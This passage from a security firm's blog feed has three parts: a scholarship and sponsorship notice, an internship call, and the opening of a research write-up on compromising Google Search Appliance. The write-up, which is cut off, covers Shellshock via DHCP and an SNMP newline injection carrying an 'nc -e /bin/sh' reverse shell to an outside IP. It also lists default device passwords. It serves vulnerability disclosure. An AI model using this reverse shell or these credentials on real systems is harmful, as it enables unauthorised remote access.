2000 字</li> <li>資訊安全技術相關研究成果:至少須從以下六項目中擇一繳交,包含研討會投稿結果、漏洞獎勵計畫成果、弱點研究成果、資訊安全比賽成果、資安工具研究成果、技術文章發表成果等</li> <li>社群經營成果:至少須從以下兩項目中擇一繳交,包含校園資安社團、公開資安社群等</li> <li>推薦函:導師、系主任、其他教授或業界⼈⼠推薦函,⾄少須取得兩封以上推薦函</li> </ul> </li> </ul> <h3 id="devcore-資安教育活動贊助計劃">DEVCORE 資安教育活動贊助計劃</h3> <p>取之於社會,用之於社會。DEVCORE 創立至今已準備邁入第 11 年,我們期待能以不同的方式加深校園與產業的連結,推廣正確的資安意識及駭客思維,協助台灣資安人才成長茁壯。</p> <p>今年我們也將持續贊助資安教育活動,提供經費予資安相關之社群、社團辦理各項活動,凝聚台灣資安社群,加速培育台灣的資安新銳。</p> <ul> <li>申請資格:與資安議題相關之社群、社團活動,請由 1 位社團代表人填寫資料。</li> <li>贊助金額:依各社團活動需求及與戴夫寇爾討論而定,每次最高補助金額為新台幣 20,000 元整。</li> <li>申請時程:如欲申請此計畫的社團或活動,請於 2023/10/31 前透過以下連結填寫初步資料,我們會在 30 日內通知符合申請資格者提供進一步資料,不符合資格者將不另行通知。</li> <li>申請連結:<a href="https://forms.gle/dW3GcGjw5z8WQ9pV9" target="_blank">DEVCORE 2023 年資安教育活動贊助調查</a></li> <li>須提供資料: <ul> <li>申請資格:申請人需以各資安社群或社團名義提出申請。</li> <li>聯絡電子郵件</li> <li>想要辦理的活動類型</li> <li>想要辦理的活動方式</li> <li>活動總預算</li> <li>預計需要贊助金額</li> <li>代表人姓名、連絡電話</li> <li>團體名稱</li> <li>團體單位網址</li> </ul> </li> <li>注意事項: <ul> <li>申請案審核將經過戴夫寇爾內部審核機制,並保有最終核決權。</li> <li>本問卷僅供初步意願蒐集用途,符合申請資格者,戴夫寇爾將於 30 日內通知提供進一步資料供審核,其餘將不另行通知。</li> </ul> </li> </ul> https://devco.re/blog/2023/08/30/2023-devcore-cybersecurity-scholarship-application-opens/ https://devco.re/blog/2023/08/30/2023-devcore-cybersecurity-scholarship-application-opens Wed, 30 Aug 2023 00:00:00 +0800 DEVCORE 2023 第四屆實習生計畫 <p>DEVCORE 創立迄今已逾十年,持續專注於提供主動式資安服務,並致力尋找各種安全風險及漏洞,讓世界變得更安全。為了持續尋找更多擁有相同理念的資安新銳、協助學生建構正確資安意識及技能,我們成立了「戴夫寇爾全國資訊安全獎學金」,2022 年初也開始舉辦首屆實習生計畫,目前為止成果頗豐、超乎預期,第三屆實習生計畫也將於今年 7 月底告一段落。我們很榮幸地宣佈,第四屆實習生計畫即將登場,若您期待加入我們、精進資安技能,煩請詳閱下列資訊後來信報名!</p> <!-- more --> <h3 id="實習內容">實習內容</h3> <p>本次實習分為 Binary 及 Web 兩個組別,主要內容如下:</p> <ul> <li>Binary 以研究為主,在與導師確定研究標的後,分析目標架構、進行逆向工程或程式碼審查。藉由這個過程訓練自己的思路,找出可能的攻擊面與潛在的弱點。另外也會讓大家嘗試分析及寫過往漏洞的 Exploit,理解過去漏洞都出現在哪,體驗真實世界的漏洞都是如何利用。 <ul> <li>漏洞挖掘及研究 70 %</li> <li>1-day 開發 (Exploitation) 30 %</li> </ul> </li> <li>Web 導師會與學生討論並確定一個以學生的期望為主的實習目標,並在過程輔導成長以完成目標,內容可以是深入研究近年常見新型態漏洞、攻擊手法、開源軟體,或是程式語言生態系的常見弱點,亦或是展現你的技術力以開發與紅隊相關的工具。 <ul> <li>漏洞、攻擊手法或開發工具研究 90%</li> <li>成果報告與準備 10%</li> </ul> </li> </ul> <h3 id="公司地點">公司地點</h3> <p>台北市松山區八德路三段 32 號 13 樓</p> <h3 id="實習時間">實習時間</h3> <ul> <li>2023 年 9 月開始到 2024 年 1 月底,共 5 個月。</li> <li>每週工作兩天,工作時間為 10:00 – 18:00 <ul> <li>每週固定一天下午 14:00 - 18:00 必須到公司討論進度 <ul> <li>如果居住雙北外可彈性調整(但須每個組別統一)</li> </ul> </li> <li>其餘時間皆為遠端作業</li> </ul> </li> </ul> <h3 id="招募對象">招募對象</h3> <p>具有一定程度資安背景的學生,且可每週工作兩天。</p> <h3 id="預計招收名額">預計招收名額</h3> <ul> <li>Binary 組:2~3 人</li> <li>Web 組:2~3 人</li> </ul> <h3 id="薪資待遇">薪資待遇</h3> <p>每月新台幣 16,000 元</p> <h2 id="招募條件資格與流程">招募條件資格與流程</h2> <h3 id="實習條件要求">實習條件要求</h3> <h4 id="binary">Binary</h4> <ul> <li>基本逆向工程及除錯能力 <ul> <li>能看懂組合語言並瞭解基本 Debugger 使用技巧</li> </ul> </li> <li>基本漏洞利用能力 <ul> <li>須知道 Stack overflow、ROP 等相關利用技巧</li> </ul> </li> <li>基本 Scripting Language 開發能力 <ul> <li>Python、Ruby</li> </ul> </li> <li>具備分析大型 Open Source 專案能力 <ul> <li>以 C/C++ 為主</li> </ul> </li> <li>具備基礎作業系統知識 <ul> <li>例如知道 Virtual Address 與 Physical Address 的概念</li> </ul> </li> <li>Code Auditing <ul> <li>知道怎樣寫的程式碼會有問題 <ul> <li>Buffer Overflow</li> <li>Use After free</li> <li>Race Condition</li> <li>…</li> </ul> </li> </ul> </li> <li>具備研究熱誠,習慣了解技術本質</li> <li>加分但<strong>非必要</strong>條件 <ul> <li>CTF 比賽經驗</li> <li>pwnable.tw 成績</li> <li>樂於分享技術 <ul> <li>有公開的技術 blog/slide、Write-ups 或是演講</li> </ul> </li> <li>精通 IDA Pro 或 Ghidra</li> <li>有寫過 1-day 利用程式</li> <li>具備下列其中之一經驗 <ul> <li>Kernel Exploit</li> <li>Windows Exploit</li> <li>Browser Exploit</li> <li>Bug Bounty</li> </ul> </li> </ul> </li> </ul> <h4 id="web">Web</h4> <ul> <li>熟悉 OWASP Web Top 10。</li> <li>理解 PortSwigger Web Security Academy 中所有的安全議題或已完成所有 Lab。 <ul> <li>參考連結:https://portswigger.net/web-security/all-materials</li> </ul> </li> <li>理解計算機網路的基本概念。</li> <li>熟悉 Command Line 操作,包含 Unix-like 和 Windows 作業系統的常見或內建系統指令工具。</li> <li>熟悉任一種網頁程式語言(如:PHP、ASP.NET、JSP),具備可以建立完整網頁服務的能力。</li> <li>熟悉任一種 Scripting Language(如:Shell Script、Python、Ruby),並能使用腳本輔以研究。</li> <li>具備除錯能力,能善用 Debugger 追蹤程式流程、能重現並收斂問題。</li> <li>具備可以建置、設定常見網頁伺服器(如:Nginx、Apache)及作業系統(如:Linux)的能力。</li> <li>具備追根究柢的精神。</li> <li>加分但<strong>非必要</strong>條件 <ul> <li>曾經獨立挖掘過 0-day 漏洞。</li> <li>曾經獨立分析過已知漏洞並能撰寫 1-day exploit。</li> <li>曾經於 CTF 比賽中擔任出題者並建置過題目。</li> <li>擁有 OSCP 證照或同等能力之證照。</li> </ul> </li> </ul> <h3 id="應徵流程">應徵流程</h3> <p>本次甄選一共分為二個階段:</p> <h4 id="第一階段書面審查">第一階段:書面審查</h4> <p>第一階段為書面審查,會需要審查下列兩個項目</p> <ul> <li>履歷內容</li> <li>簡答題答案 <ul> <li>題目 1:請提出三個,你印象最深刻或感到有趣、於西元 2021 ~ 2023 年間公開的真實漏洞或攻擊鏈案例,並依自己的理解簡述說明各個漏洞的成因、利用條件和可以造成的影響。</li> <li>題目 2:實習期間想要研究的主題,請提出三個可能選擇的明確主題,並簡單說明提出的理由或想完成的內容,例如: <ul> <li>研究◯◯開源軟體,找到可 RCE 的重大風險弱點。</li> <li>研究 AD CS 的攻擊手法,嘗試挖掘新的攻擊可能性或向量。</li> <li>研究常見的路由器,目標包括:AA-123 路由器、BB-456 無線路由器。</li> </ul> </li> </ul> </li> </ul> <p>本階段收件截止時間為 <strong>2023/08/11 23:59</strong>,我們會根據您的履歷及題目所回答的內容來決定是否有通過第一階段,我們會在 10 個<strong>工作天</strong>內回覆。</p> <h4 id="第二階段面試">第二階段:面試</h4> <p>此階段為 30~120 分鐘(依照組別需求而定,會另行通知)的面試,會有 2~3 位資深夥伴參與,評估您是否具備本次實習所需的技術能力與人格特質。</p> <h4 id="時間軸">時間軸</h4> <ul> <li>2023/07/19 - 2023/08/11 公開招募</li> <li>2023/08/14 - 2023/08/24 面試</li> <li>2023/08/28 前回應結果</li> <li>2023/09/04 第四屆實習計畫於當週開始</li> </ul> <h3 id="報名方式">報名方式</h3> <ul> <li>請將您的<strong>履歷</strong>及<strong>題目答案</strong>以 PDF 格式寄到 [email protected] <ul> <li>履歷格式請參考範例示意(<a href="/assets/files/recruit/Resume_Example.docx">DOCX</a>、<a href="/assets/files/recruit/Resume_Example.pages">PAGES</a>、<a href="/assets/files/recruit/Resume_Example.pdf">PDF</a>)並轉成 PDF。若您有自信,也可以自由發揮最能呈現您能力的履歷。</li> <li>請於 <strong>2023/08/11 23:59</strong> 前寄出(如果名額已滿則視情況提早結束)</li> </ul> </li> <li>信件標題格式:[應徵] 職位 您的姓名(範例:[應徵] Web 組實習生 王小美)</li> <li>履歷內容請務必控制在三頁以內,至少需包含以下內容: <ul> <li>基本資料</li> <li>學歷</li> <li>實習經歷</li> <li>社群活動經歷</li> <li>特殊事蹟</li> <li>過去對於資安的相關研究</li> <li>MBTI 職業性格測試結果(<a href="https://www.apesk.com/mbti/dati_tw.asp">測試網頁</a>)</li> </ul> </li> </ul> <p>若有應徵相關問題,請一律使用 Email 聯繫,如造成您的不便請見諒,我們感謝您的來信,並期待您的加入!</p> https://devco.re/blog/2023/07/18/4nd-internship-program-recruit/ https://devco.re/blog/2023/07/18/4nd-internship-program-recruit Tue, 18 Jul 2023 00:00:00 +0800 [REL] 深入破解 Google Search Appliance <p><a href="/blog/2023/07/07/a-journey-into-hacking-google-search-appliance-en">English Version</a>, <a href="/blog/2023/07/07/a-journey-into-hacking-google-search-appliance/">中文版本</a></p> <h3 id="懶人包">懶人包</h3> <ul> <li>GSA 管理界面認證後任意指令執行</li> <li>GSA 搜尋介面任意讀檔</li> <li>GSA 使用 Oracle 的 Outside-in Technology 轉換文件格式</li> <li>Google 網頁服務有一些固定的URI,會提供此服務的自身資訊</li> </ul> <h3 id="前言">前言</h3> <p>Google Search Appliance (以下簡稱 GSA ) 是 Google 於2002 年開始為企業推出的搜尋設備,主要功能為放置於企業內網用於索引內部網路資訊並提供檢索。於 2005 年左右推出給個人及小型企業使用的 Google Mini,於 2008 年底左右有發布虛擬機器版本,名稱為 Virtual Google Search Appliance (以下簡稱 vGSA),後來於 2018年底結束產品生命週期,產品線整合進入 Cloud Search。</p> <h3 id="設備軟體取得">設備、軟體取得</h3> <p>從 ebay 以關鍵字 Google Search Appliance 搜尋並嘗試購買此設備, 如果不幸硬碟資料已被清除,也只能嘗試多買幾台了。</p> <p>幸運的是,購入的第一台就是未遭完整清除的 GSA:</p> <p><img src="/assets/img/blog/20230707/1.png" alt="" /></p> <p>現在仍然可以找到正在被販售的設備:</p> <p><img src="/assets/img/blog/20230707/2.png" alt="" /></p> <p>另一方面 vGSA 原始公開連結已被移除, <code class="language-plaintext highlighter-rouge">http://dl.google.com/vgsa/vgsa\_20090210.7z</code> [已被移除] <code class="language-plaintext highlighter-rouge">http://dl.google.com/vgsa/vgsa\_20081028.7z</code> [已被移除]</p> <p>後來用 BitTorrent 磁力連結 <code class="language-plaintext highlighter-rouge">magnet:?xt=urn:btih:89388ACE8C3B91FDD3A2F86D8CBB78C58A70D992</code> 成功取得檔案。</p> <p>接著再從 google groups 中找到舊版軟體連接:<code class="language-plaintext highlighter-rouge">https://groups.google.com/g/google-search-appliance-help/c/Qn5aO5r2Joo/m/PTw8ZDWu6vYJ</code></p> <p><img src="/assets/img/blog/20230707/3.png" alt="" /></p> <p>連結為:<code class="language-plaintext highlighter-rouge">http://dl.google.com/dl/enterprise/install_bundle-10000622-7.2.0-112.bin</code> [已被移除]</p> <p>由公開網頁中,可取得版本號碼: <a href="http://web.archive.org/web/20210116194907/https://support.google.com/gsa/answer/7020590?hl=en&amp;ref_topic=2709671">http://web.archive.org/web/20210116194907/https://support.google.com/gsa/answer/7020590?hl=en&amp;ref_topic=2709671</a></p> <p>猜測檔案名稱規則為 install_bundle-10000(三位數字)-7.(一位數字).(數字)-(三位數字).bin</p> <p>並編寫 shell script 嘗試下載:</p> <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">for</span><span class="o">((</span><span class="nv">j</span><span class="o">=</span>622<span class="p">;</span>j&lt;999<span class="p">;</span>+j<span class="o">))</span><span class="p">;</span><span class="k">do for</span><span class="o">((</span><span class="nv">i</span><span class="o">=</span>1<span class="p">;</span>i&lt;444<span class="p">;</span>+i<span class="o">))</span><span class="p">;</span><span class="k">do </span>wget http://dl.google.com/dl/enterprise/install_bundle-10000<span class="nv">$j</span><span class="nt">-7</span>.2.0-<span class="nv">$i</span>.bin<span class="p">;</span><span class="k">done</span><span class="p">;</span><span class="k">done for</span><span class="o">((</span><span class="nv">j</span><span class="o">=</span>661<span class="p">;</span>j&lt;999<span class="p">;</span>+j<span class="o">))</span><span class="p">;</span><span class="k">do for</span><span class="o">((</span><span class="nv">i</span><span class="o">=</span>1<span class="p">;</span>i&lt;444<span class="p">;</span>+i<span class="o">))</span><span class="p">;</span><span class="k">do </span>wget http://dl.google.com/dl/enterprise/install_bundle-10000<span class="nv">$j</span><span class="nt">-7</span>.4.0-<span class="nv">$i</span>.bin<span class="p">;</span><span class="k">done</span><span class="p">;</span><span class="k">done for</span><span class="o">((</span><span class="nv">j</span><span class="o">=</span>693<span class="p">;</span>j&lt;999<span class="p">;</span>+j<span class="o">))</span><span class="p">;</span><span class="k">do for</span><span class="o">((</span><span class="nv">i</span><span class="o">=</span>1<span class="p">;</span>i&lt;444<span class="p">;</span>+i<span class="o">))</span><span class="p">;</span><span class="k">do </span>wget http://dl.google.com/dl/enterprise/install_bundle-10000<span class="nv">$j</span><span class="nt">-7</span>.6.0-<span class="nv">$i</span>.bin<span class="p">;</span><span class="k">done</span><span class="p">;</span><span class="k">done</span> </code></pre></div></div> <p>加上網路搜尋到的資料,成功取回以下檔案:</p> <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>all_langs-lang-pack-2.1-1.bin all_langs-lang-pack-2.2-1.bin centos_patch_files-6.0.0-22.bin centos_patch_files-6.14.0-28.bin centos_patch_files-7.0.14-238.bin centos_patch_files-7.2.0-252.bin centos_patch_files-7.2.0-264.bin centos_patch_files-7.2.0-270.bin centos_patch_files-7.2.0-280.bin centos_patch_files-7.2.0-286.bin install_bundle-10000653-7.2.0-252.bin install_bundle-10000658-7.2.0-264.bin install_bundle-10000661-7.2.0-270.bin install_bundle-10000681-7.4.0-64.bin install_bundle-10000685-7.4.0-72.bin install_bundle-10000686-7.4.0-74.bin install_bundle-10000692-7.4.0-82.bin install_bundle-10000762-7.6.0-36.bin install_bundle-10000767-7.6.0-42.bin install_bundle-10000772-7.6.0-46.bin install_bundle-10000781-7.6.0-58.bin install_bundle-10000810-7.6.50-30.bin install_bundle-10000822-7.6.50-36.bin install_bundle-10000855-7.6.50-64.bin install_bundle-10000878-7.6.250-12.bin install_bundle-10000888-7.6.250-20.bin install_bundle-10000901-7.6.250-26.bin install_bundle-10000915-7.6.360-10.bin install_bundle-10000926-7.6.360-16.bin install_bundle-10000967-7.6.512-18.bin sw_files-5.0.4-22.bin sw_files-6.14.0-28.bin sw_files-7.0.14-238.bin vm_patch_1_for_504_G22_and_G24_only.bin </code></pre></div></div> <h3 id="vgsa-virtual-google-search-appliance">vGSA (Virtual Google Search Appliance)</h3> <p>接著開始 VGSA 的研究,預設情況下完成匯入虛擬機後此系統只提供了一個網路設定的功能, 沒有提供 shell 可供操作使用。但是由於虛擬機器是執行在自己環境上, 所以通常可以透過下列方式取得系統權限:</p> <ul> <li>直接修改未加密的磁碟機檔案</li> <li>修改虛擬機記憶體內容</li> <li>使用其他作業系統光碟或磁碟開機</li> <li>其他已知漏洞</li> <li>寫死的管理員或系統帳號、密碼</li> </ul> <p>下圖為 vGSA 網路設定畫面:</p> <p><img src="/assets/img/blog/20230707/4.png" alt="" /></p> <h4 id="cve-2014-6271">CVE-2014-6271</h4> <p>當測試早期的 Linux 設備及服務,尤其是使用 RedHat 系列的作業系統時,通常會有 Shellshock 的漏洞, 而發布日期再2008的 vGSA 也不例外。dhcp server 中插入 option 114 會被設置於環境變數,從而觸發漏洞,執行任意指令:</p> <p><img src="/assets/img/blog/20230707/5.png" alt="" /></p> <p>指令為:<code class="language-plaintext highlighter-rouge">useradd zzzzgsa</code>,可以從主控台輸出中看到此指令被重複執行,並產生錯誤訊息。</p> <h4 id="vgsa-觀察">vGSA 觀察</h4> <p>成功取得作業系統權限後,進行網路環境、執行程式、檔案系統的觀察,以下是作業系統環境觀察心得:</p> <ul> <li>版本號為 5.2.0.G.27。</li> <li>服務主要由 C/C++、java、python 編寫</li> <li>/export/hda3 似乎是服務主要使用的目錄</li> <li>/etc/shadow 存在帳號 root、密碼雜湊為 x███████████M</li> <li>管理介面 8000、8443 預設管理密碼為 j0njlRXpU5CQ</li> <li>/.gnupg 存在 ent_box_key 公私鑰。</li> <li>/.gnupg 存在 google_license_key 公鑰。</li> <li>/.ssh/authorized_keys 存在兩組公鑰。</li> <li>/root/.ssh/authorized_keys 存在一組公鑰。</li> <li>/root/.ssh/ 存在兩組ssh 公私鑰。</li> <li>/root/.gnupg/ 存在 ent_box_key 公私鑰。</li> <li>使用 Oracle 公司的 Outside In Technology 將文件轉換為 html網頁。</li> <li>java 執行環境使用 Security Manager 保護。</li> <li>請求工程師支援功能使用 ppp 建構虛擬私有網路, /etc/ppp/chap-secrets 存有帳號密碼 ( z██████c、]███████T )</li> <li>/etc/lilo.conf中的開機選單密碼為 cmBalx7</li> <li>/export/hda3/versionmanager/google_key.symmetric 有一把疑似為對稱式加密使用的密碼</li> <li>/export/hda3/versionmanager/vmanager_passwd 存在兩組帳密組合 ( admin: M█████████████████████████w=:9██= google:w█████████████████████████o=:N██= )</li> </ul> <p>而具有網路服務的執行程式的觀察如下:</p> <table> <thead> <tr> <th>通訊埠</th> <th>服務名稱</th> <th>程式編寫語言</th> <th>服務說明</th> </tr> </thead> <tbody> <tr> <td>22</td> <td>ssh</td> <td>C/C++</td> <td>OpenSSH Server</td> </tr> <tr> <td>53</td> <td>named</td> <td>C/C++</td> <td>Bind Named</td> </tr> <tr> <td>953</td> <td>named</td> <td>C/C++</td> <td>Bind Named</td> </tr> <tr> <td>1111</td> <td>webserver_config</td> <td>python</td> <td>Installer</td> </tr> <tr> <td>2100</td> <td>adminrunner.py</td> <td>python</td> <td>enterpriseconsole backend</td> </tr> <tr> <td>3990</td> <td>monitor</td> <td>C/C++</td> <td>monitor</td> </tr> <tr> <td>4000</td> <td>rtserver</td> <td>C/C++</td> <td>未知</td> </tr> <tr> <td>4430</td> <td>EnterpriseFrontend</td> <td>Java (with security manager)</td> <td>https 前端</td> </tr> <tr> <td>4911</td> <td>borgmon</td> <td>C/C++</td> <td>borgmon</td> </tr> <tr> <td>4916</td> <td>reactor</td> <td>C/C++</td> <td>未知</td> </tr> <tr> <td>5000</td> <td>rtserver</td> <td>C/C++</td> <td>未知</td> </tr> <tr> <td>5600</td> <td>rtserver</td> <td>C/C++</td> <td>未知</td> </tr> <tr> <td>6600</td> <td>cacheserver</td> <td>C/C++</td> <td>未知</td> </tr> <tr> <td>7800</td> <td>EnterpriseFrontend</td> <td>Java (with security manager)</td> <td>未知</td> </tr> <tr> <td>7880</td> <td>TableServer</td> <td>Java (with security manager)</td> <td>未知</td> </tr> <tr> <td>7882</td> <td>AuthzChecker</td> <td>Java (without security manager)</td> <td>未知</td> </tr> <tr> <td>7886</td> <td>tomcat</td> <td>Java</td> <td>tomcat server</td> </tr> <tr> <td>8000</td> <td>EnterpriseAdminConsole</td> <td>Java (without security manager)</td> <td>未知</td> </tr> <tr> <td>8443</td> <td>stunnel</td> <td>C/C++</td> <td>redirect http to https</td> </tr> <tr> <td>8888</td> <td>GWS</td> <td>C/C++</td> <td>未知</td> </tr> <tr> <td>9300</td> <td>oneboxserver</td> <td>C/C++</td> <td>未知</td> </tr> <tr> <td>9328</td> <td>entspellmixer</td> <td>C/C++</td> <td>未知</td> </tr> <tr> <td>9400</td> <td>mixserver</td> <td>C/C++</td> <td>未知</td> </tr> <tr> <td>9402</td> <td>mixserver</td> <td>C/C++</td> <td>未知</td> </tr> <tr> <td>9448</td> <td>qrewrite</td> <td>C/C++</td> <td>未知</td> </tr> <tr> <td>9450</td> <td>EnterpriseAdminConsole</td> <td>Java (without security manager )</td> <td>未知</td> </tr> <tr> <td>10094</td> <td>enterprise_onebox</td> <td>C/C++</td> <td>未知</td> </tr> <tr> <td>10200</td> <td>clustering_server</td> <td>C/C++</td> <td>未知</td> </tr> <tr> <td>11913</td> <td>sessionmanager</td> <td>C/C++</td> <td>未知</td> </tr> <tr> <td>12345</td> <td>RegistryServer</td> <td>Java (without security manager)</td> <td>未知</td> </tr> <tr> <td>19780</td> <td>configmgr/ent_configmgr.py</td> <td>python</td> <td>未知</td> </tr> <tr> <td>19900</td> <td>feedergate</td> <td>C/C++</td> <td>未知</td> </tr> <tr> <td>21200</td> <td>FileSystemGateway</td> <td>Java (with security manager)</td> <td>未知</td> </tr> <tr> <td>31300</td> <td>rtserver</td> <td>C/C++</td> <td>未知</td> </tr> </tbody> </table> <p>雖然有這麼多服務,但是 iptables 阻擋了大部分的連線,以下是 iptables 設定:</p> <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># Redirect privileged ports.</span> <span class="c"># (we listen as nobody, which can't attach to low ports, so redirect to high ports)</span> <span class="c">#</span> <span class="nt">-A</span> PREROUTING <span class="nt">-i</span> eth0 <span class="nt">-p</span> tcp <span class="nt">-m</span> tcp <span class="nt">--dport</span> 80 <span class="nt">-j</span> REDIRECT <span class="nt">--to-ports</span> 7800 <span class="nt">-A</span> PREROUTING <span class="nt">-i</span> eth0 <span class="nt">-p</span> tcp <span class="nt">-m</span> tcp <span class="nt">--dport</span> 443 <span class="nt">-j</span> REDIRECT <span class="nt">--to-ports</span> 4430 <span class="nt">-A</span> PREROUTING <span class="nt">-i</span> eth0 <span class="nt">-p</span> tcp <span class="nt">-m</span> tcp <span class="nt">--dport</span> 444 <span class="nt">-j</span> REDIRECT <span class="nt">--to-ports</span> 4431 <span class="nt">-A</span> INPUT <span class="nt">-i</span> eth0 <span class="nt">-p</span> udp <span class="nt">-m</span> state <span class="nt">--state</span> ESTABLISHED,RELATED <span class="nt">-j</span> ACCEPT <span class="nt">-A</span> INPUT <span class="nt">-i</span> eth0 <span class="nt">-p</span> tcp <span class="nt">-m</span> tcp <span class="nt">--dport</span> 22 <span class="nt">-j</span> ACCEPT <span class="nt">-A</span> INPUT <span class="nt">-i</span> eth0 <span class="nt">-p</span> tcp <span class="nt">-m</span> tcp <span class="nt">--dport</span> 7800 <span class="nt">-j</span> ACCEPT <span class="nt">-A</span> INPUT <span class="nt">-i</span> eth0 <span class="nt">-p</span> tcp <span class="nt">-m</span> tcp <span class="nt">--dport</span> 7801 <span class="nt">-j</span> ACCEPT <span class="nt">-A</span> INPUT <span class="nt">-i</span> eth0 <span class="nt">-p</span> tcp <span class="nt">-m</span> tcp <span class="nt">--dport</span> 4430 <span class="nt">-j</span> ACCEPT <span class="nt">-A</span> INPUT <span class="nt">-i</span> eth0 <span class="nt">-p</span> tcp <span class="nt">-m</span> tcp <span class="nt">--dport</span> 4431 <span class="nt">-j</span> ACCEPT <span class="nt">-A</span> INPUT <span class="nt">-i</span> eth0 <span class="nt">-p</span> tcp <span class="nt">-m</span> tcp <span class="nt">--dport</span> 19900 <span class="nt">-j</span> ACCEPT <span class="nt">-A</span> INPUT <span class="nt">-i</span> eth0 <span class="nt">-p</span> tcp <span class="nt">-m</span> tcp <span class="nt">--dport</span> 8000 <span class="nt">-j</span> ACCEPT <span class="nt">-A</span> INPUT <span class="nt">-i</span> eth0 <span class="nt">-p</span> tcp <span class="nt">-m</span> tcp <span class="nt">--dport</span> 8443 <span class="nt">-j</span> ACCEPT <span class="nt">-A</span> INPUT <span class="nt">-i</span> eth0 <span class="nt">-p</span> tcp <span class="nt">-m</span> tcp <span class="nt">--dport</span> 9941 <span class="nt">-j</span> ACCEPT <span class="nt">-A</span> INPUT <span class="nt">-i</span> eth0 <span class="nt">-p</span> tcp <span class="nt">-m</span> tcp <span class="nt">--dport</span> 9942 <span class="nt">-j</span> ACCEPT <span class="nt">-A</span> INPUT <span class="nt">-i</span> eth0 <span class="nt">-p</span> tcp <span class="nt">-m</span> tcp <span class="nt">--dport</span> 10999 <span class="nt">-j</span> ACCEPT <span class="nt">-A</span> OUTPUT <span class="nt">-o</span> eth0 <span class="nt">-p</span> udp <span class="nt">-m</span> udp <span class="nt">--sport</span> 68 <span class="nt">--dport</span> 67 <span class="nt">-j</span> ACCEPT <span class="nt">-A</span> OUTPUT <span class="nt">-o</span> eth0 <span class="nt">-p</span> udp <span class="nt">-m</span> udp <span class="nt">--dport</span> 53 <span class="nt">-j</span> ACCEPT <span class="nt">-A</span> OUTPUT <span class="nt">-o</span> eth0 <span class="nt">-p</span> udp <span class="nt">-m</span> udp <span class="nt">--dport</span> 137:138 <span class="nt">-j</span> ACCEPT <span class="nt">-A</span> OUTPUT <span class="nt">-o</span> eth0 <span class="nt">-p</span> udp <span class="nt">-m</span> udp <span class="nt">--dport</span> 123 <span class="nt">-j</span> ACCEPT <span class="nt">-A</span> OUTPUT <span class="nt">-o</span> eth0 <span class="nt">-p</span> udp <span class="nt">-m</span> udp <span class="nt">--dport</span> 514 <span class="nt">-j</span> ACCEPT <span class="nt">-A</span> INPUT <span class="nt">-i</span> eth0 <span class="nt">-p</span> udp <span class="nt">-m</span> udp <span class="nt">--dport</span> 161 <span class="nt">-j</span> ACCEPT <span class="nt">-A</span> OUTPUT <span class="nt">-o</span> eth0 <span class="nt">-p</span> udp <span class="nt">-m</span> udp <span class="nt">--sport</span> 161 <span class="nt">-j</span> ACCEPT <span class="nt">-A</span> OUTPUT <span class="nt">-o</span> eth0 <span class="nt">-p</span> udp <span class="nt">-m</span> udp <span class="nt">--dport</span> 162 <span class="nt">-j</span> ACCEPT </code></pre></div></div> <p>整理出來實際可存取的TCP 攻擊面:</p> <table> <thead> <tr> <th>通訊埠</th> <th>服務名稱</th> <th>程式執行檔所在位置</th> </tr> </thead> <tbody> <tr> <td>22</td> <td>ssh</td> <td>/usr/sbin/sshd</td> </tr> <tr> <td>7800</td> <td>EnterpriseFrontend</td> <td>/export/hda3/5.2.0/local/google/bin/EnterpriseFrontend.jar</td> </tr> <tr> <td>4430</td> <td>EnterpriseFrontend</td> <td>/export/hda3/5.2.0/local/google/bin/EnterpriseFrontend.jar</td> </tr> <tr> <td>19900</td> <td>feedergate</td> <td>/export/hda3/5.2.0/local/google/bin/feedergate</td> </tr> <tr> <td>8000</td> <td>EnterpriseAdminConsole</td> <td>/export/hda3/5.2.0/local/google/bin/EnterpriseAdminConsole.jar</td> </tr> <tr> <td>8443</td> <td>stunnel</td> <td>/usr/sbin/stunnel</td> </tr> </tbody> </table> <p>而我們發現 <code class="language-plaintext highlighter-rouge">/export/hda3/versionmanager/google_key.symmetric</code> 中的字串可以用來解密所有 install_bundle 的內容! 使用 CVE-2014-6271 取得權限加上可以解出 install bundle 中的內容後,對 vGSA 的研究就暫時告一段落, 其執行環境中記憶體的保護較為缺少,可能有機會存在弱點並利用:</p> <p><img src="/assets/img/blog/20230707/6.png" alt="" /></p> <h3 id="gsa">GSA</h3> <p>安裝設備後嘗試更改開機順序,但發現進入BIOS需要密碼,且磁碟介面卡的管理介面中 Dell H700 僅有部分功能可以操作: <img src="/assets/img/blog/20230707/7.png" alt="" /></p> <p>接著嘗試直接讀取硬碟內容,如果硬碟內容沒有加密,有機會能直接取得設備作業系統及軟體。 我們發現其硬碟使用SAS 介面進行傳輸,嘗試前還需購買SAS 卡,本次測試使用LSI 9211-8i 進行連結:</p> <p><img src="/assets/img/blog/20230707/8.png" alt="" /></p> <p>連接嘗試讀取後發現到這是一個自我加密 SED 磁碟,需要密碼unlock 才能存取,OSSLab 這邊有更詳細的解釋:</p> <p><a href="https://www.osslab.com.tw/ata-sed-security/">https://www.osslab.com.tw/ata-sed-security/</a> (中文)</p> <p>在無法直接存取硬碟的情況下有幾種方式可以繼續嘗試:</p> <ul> <li>嘗試讀出於BIOS EEPROM 中的密碼,並更改開機順序</li> </ul> <p>此方式需要破壞主機板,有一定風險,於軟體層找不到漏洞才會使用此種方式。 可參考這篇研究 <a href="https://blog.cybercx.co.nz/bypassing-bios-password">https://blog.cybercx.co.nz/bypassing-bios-password</a> (英文)</p> <ul> <li>使用 PCILeech 讀取、寫入記憶體並取得系統權限</li> </ul> <p>此方式需要特定PCI-e 設備,當時還沒有準備此類設備。可以參考這個 github 專案:</p> <p><a href="https://github.com/ufrisk/pcileech">https://github.com/ufrisk/pcileech</a></p> <ul> <li>尋找可存取服務之軟體漏洞</li> </ul> <p>此方式較為簡單可行。</p> <h4 id="管理介面換行字元插入">管理介面換行字元插入</h4> <p>登入管理介面後,觀察到其中有 SNMP 取得系統資訊的功能, 且此功能可以插入自定義字串:</p> <p><img src="/assets/img/blog/20230707/9.png" alt="" /></p> <p>這邊嘗試經典的換行注入:</p> <p><img src="/assets/img/blog/20230707/10.png" alt="" /></p> <p>將 sysContact 插入</p> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>extend shell /bin/nc -e /bin/sh 10.5.2.1 4444 </code></pre></div></div> <p>插入 extend 設定值之後,就可以用 snmpwalk 觸發 SNMP 的extend 功能, 並執行 shell。</p> <p><img 